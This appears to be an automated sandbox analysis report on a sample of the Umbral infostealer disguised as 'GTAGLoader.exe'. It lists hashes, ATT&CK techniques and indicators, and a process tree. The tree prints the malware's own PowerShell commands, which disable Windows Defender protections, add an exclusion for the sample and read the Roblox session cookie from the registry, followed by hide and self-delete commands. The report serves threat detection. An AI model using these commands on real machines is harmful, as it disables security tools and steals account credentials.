umbral | e22bde6d04787794012e7e12ceaf1cf8fdf145f81551d90febf6a4f9c5d4e029

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-11-2024 20:48

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General

Target

GTAGLoader.exe
Size

229KB
MD5

18cb3d1a221a079d9b499f2eec3a3e64
SHA1

5fb17f7e655b5cb79be1099c8ea550ac1f5ace1f
SHA256

e22bde6d04787794012e7e12ceaf1cf8fdf145f81551d90febf6a4f9c5d4e029
SHA512

ca4fdb1e0bbf0d63667d5faa71f691efa4f1a629ca391665d0c361ce84876fc2fd0962b3a2c8bb8735e09931cc4401f912dece4e43f325fa8fe56b5c24630b03
SSDEEP

6144:lloZM9rIkd8g+EtXHkv/iD4uNKIkqNlO+LWU1pAOqb8e1mSi:noZOL+EP8uNKIkqNlO+LWU1pAxQ

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1320-1-0x000001A1FC3D0000-0x000001A1FC410000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5072	powershell.exe
2464	powershell.exe
2616	powershell.exe
2296	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	GTAGLoader.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2908	cmd.exe
3596	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1008	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3596	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5072	powershell.exe
5072	powershell.exe
2616	powershell.exe
2616	powershell.exe
2296	powershell.exe
2296	powershell.exe
4864	powershell.exe
4864	powershell.exe
2464	powershell.exe
2464	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1320	GTAGLoader.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeIncreaseQuotaPrivilege	4900	wmic.exe
Token: SeSecurityPrivilege	4900	wmic.exe
Token: SeTakeOwnershipPrivilege	4900	wmic.exe
Token: SeLoadDriverPrivilege	4900	wmic.exe
Token: SeSystemProfilePrivilege	4900	wmic.exe
Token: SeSystemtimePrivilege	4900	wmic.exe
Token: SeProfSingleProcessPrivilege	4900	wmic.exe
Token: SeIncBasePriorityPrivilege	4900	wmic.exe
Token: SeCreatePagefilePrivilege	4900	wmic.exe
Token: SeBackupPrivilege	4900	wmic.exe
Token: SeRestorePrivilege	4900	wmic.exe
Token: SeShutdownPrivilege	4900	wmic.exe
Token: SeDebugPrivilege	4900	wmic.exe
Token: SeSystemEnvironmentPrivilege	4900	wmic.exe
Token: SeRemoteShutdownPrivilege	4900	wmic.exe
Token: SeUndockPrivilege	4900	wmic.exe
Token: SeManageVolumePrivilege	4900	wmic.exe
Token: 33	4900	wmic.exe
Token: 34	4900	wmic.exe
Token: 35	4900	wmic.exe
Token: 36	4900	wmic.exe
Token: SeIncreaseQuotaPrivilege	4900	wmic.exe
Token: SeSecurityPrivilege	4900	wmic.exe
Token: SeTakeOwnershipPrivilege	4900	wmic.exe
Token: SeLoadDriverPrivilege	4900	wmic.exe
Token: SeSystemProfilePrivilege	4900	wmic.exe
Token: SeSystemtimePrivilege	4900	wmic.exe
Token: SeProfSingleProcessPrivilege	4900	wmic.exe
Token: SeIncBasePriorityPrivilege	4900	wmic.exe
Token: SeCreatePagefilePrivilege	4900	wmic.exe
Token: SeBackupPrivilege	4900	wmic.exe
Token: SeRestorePrivilege	4900	wmic.exe
Token: SeShutdownPrivilege	4900	wmic.exe
Token: SeDebugPrivilege	4900	wmic.exe
Token: SeSystemEnvironmentPrivilege	4900	wmic.exe
Token: SeRemoteShutdownPrivilege	4900	wmic.exe
Token: SeUndockPrivilege	4900	wmic.exe
Token: SeManageVolumePrivilege	4900	wmic.exe
Token: 33	4900	wmic.exe
Token: 34	4900	wmic.exe
Token: 35	4900	wmic.exe
Token: 36	4900	wmic.exe
Token: SeIncreaseQuotaPrivilege	4420	wmic.exe
Token: SeSecurityPrivilege	4420	wmic.exe
Token: SeTakeOwnershipPrivilege	4420	wmic.exe
Token: SeLoadDriverPrivilege	4420	wmic.exe
Token: SeSystemProfilePrivilege	4420	wmic.exe
Token: SeSystemtimePrivilege	4420	wmic.exe
Token: SeProfSingleProcessPrivilege	4420	wmic.exe
Token: SeIncBasePriorityPrivilege	4420	wmic.exe
Token: SeCreatePagefilePrivilege	4420	wmic.exe
Token: SeBackupPrivilege	4420	wmic.exe
Token: SeRestorePrivilege	4420	wmic.exe
Token: SeShutdownPrivilege	4420	wmic.exe
Token: SeDebugPrivilege	4420	wmic.exe
Token: SeSystemEnvironmentPrivilege	4420	wmic.exe
Token: SeRemoteShutdownPrivilege	4420	wmic.exe
Token: SeUndockPrivilege	4420	wmic.exe
Token: SeManageVolumePrivilege	4420	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 3396	1320	GTAGLoader.exe	84
PID 1320 wrote to memory of 3396	1320	GTAGLoader.exe	84
PID 1320 wrote to memory of 5072	1320	GTAGLoader.exe	86
PID 1320 wrote to memory of 5072	1320	GTAGLoader.exe	86
PID 1320 wrote to memory of 2616	1320	GTAGLoader.exe	88
PID 1320 wrote to memory of 2616	1320	GTAGLoader.exe	88
PID 1320 wrote to memory of 2296	1320	GTAGLoader.exe	91
PID 1320 wrote to memory of 2296	1320	GTAGLoader.exe	91
PID 1320 wrote to memory of 4864	1320	GTAGLoader.exe	93
PID 1320 wrote to memory of 4864	1320	GTAGLoader.exe	93
PID 1320 wrote to memory of 4900	1320	GTAGLoader.exe	98
PID 1320 wrote to memory of 4900	1320	GTAGLoader.exe	98
PID 1320 wrote to memory of 4420	1320	GTAGLoader.exe	102
PID 1320 wrote to memory of 4420	1320	GTAGLoader.exe	102
PID 1320 wrote to memory of 3728	1320	GTAGLoader.exe	104
PID 1320 wrote to memory of 3728	1320	GTAGLoader.exe	104
PID 1320 wrote to memory of 2464	1320	GTAGLoader.exe	106
PID 1320 wrote to memory of 2464	1320	GTAGLoader.exe	106
PID 1320 wrote to memory of 1008	1320	GTAGLoader.exe	109
PID 1320 wrote to memory of 1008	1320	GTAGLoader.exe	109
PID 1320 wrote to memory of 2908	1320	GTAGLoader.exe	111
PID 1320 wrote to memory of 2908	1320	GTAGLoader.exe	111
PID 2908 wrote to memory of 3596	2908	cmd.exe	113
PID 2908 wrote to memory of 3596	2908	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3396	attrib.exe

C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe
"C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe"
  2⤵
  - Views/modifies file attributes
  PID:3396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4864
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4900
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4420
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2464
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1008
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\GTAGLoader.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
77fad1dec6867fb7dd395c25c46d8ae5

SHA1
abfecfd6c63bb35ec88d98ef210adefc139d793e

SHA256
02b0ab469998ac630b421de245ee243599422e7f2c2f9714085fc5b837891784

SHA512
ac8d9d660992d076e46ffdb7422d4916789a7ca2f5737c711449f518745dee197ed1c08e50f81f92cb7d2d1ea94fe024e77a8295e1be05c5a49a0fd7495776d3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3owyg4bi.5zk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1320-72-0x000001A1FEAA0000-0x000001A1FEAAA000-memory.dmp

Filesize
40KB

Download
memory/1320-35-0x000001A1FEAE0000-0x000001A1FEAFE000-memory.dmp

Filesize
120KB

Download
memory/1320-93-0x00007FF847420000-0x00007FF847EE1000-memory.dmp

Filesize
10.8MB

Download
memory/1320-73-0x000001A1FEBE0000-0x000001A1FEBF2000-memory.dmp

Filesize
72KB

Download
memory/1320-2-0x00007FF847420000-0x00007FF847EE1000-memory.dmp

Filesize
10.8MB

Download
memory/1320-33-0x000001A1FEB10000-0x000001A1FEB86000-memory.dmp

Filesize
472KB

Download
memory/1320-34-0x000001A1FEB90000-0x000001A1FEBE0000-memory.dmp

Filesize
320KB

Download
memory/1320-0-0x00007FF847423000-0x00007FF847425000-memory.dmp

Filesize
8KB

Download
memory/1320-1-0x000001A1FC3D0000-0x000001A1FC410000-memory.dmp

Filesize
256KB

Download
memory/5072-15-0x00007FF847420000-0x00007FF847EE1000-memory.dmp

Filesize
10.8MB

Download
memory/5072-9-0x000002A0F3340000-0x000002A0F3362000-memory.dmp

Filesize
136KB

Download
memory/5072-3-0x00007FF847420000-0x00007FF847EE1000-memory.dmp

Filesize
10.8MB

Download
memory/5072-14-0x00007FF847420000-0x00007FF847EE1000-memory.dmp

Filesize
10.8MB

Download
memory/5072-18-0x00007FF847420000-0x00007FF847EE1000-memory.dmp

Filesize
10.8MB

Download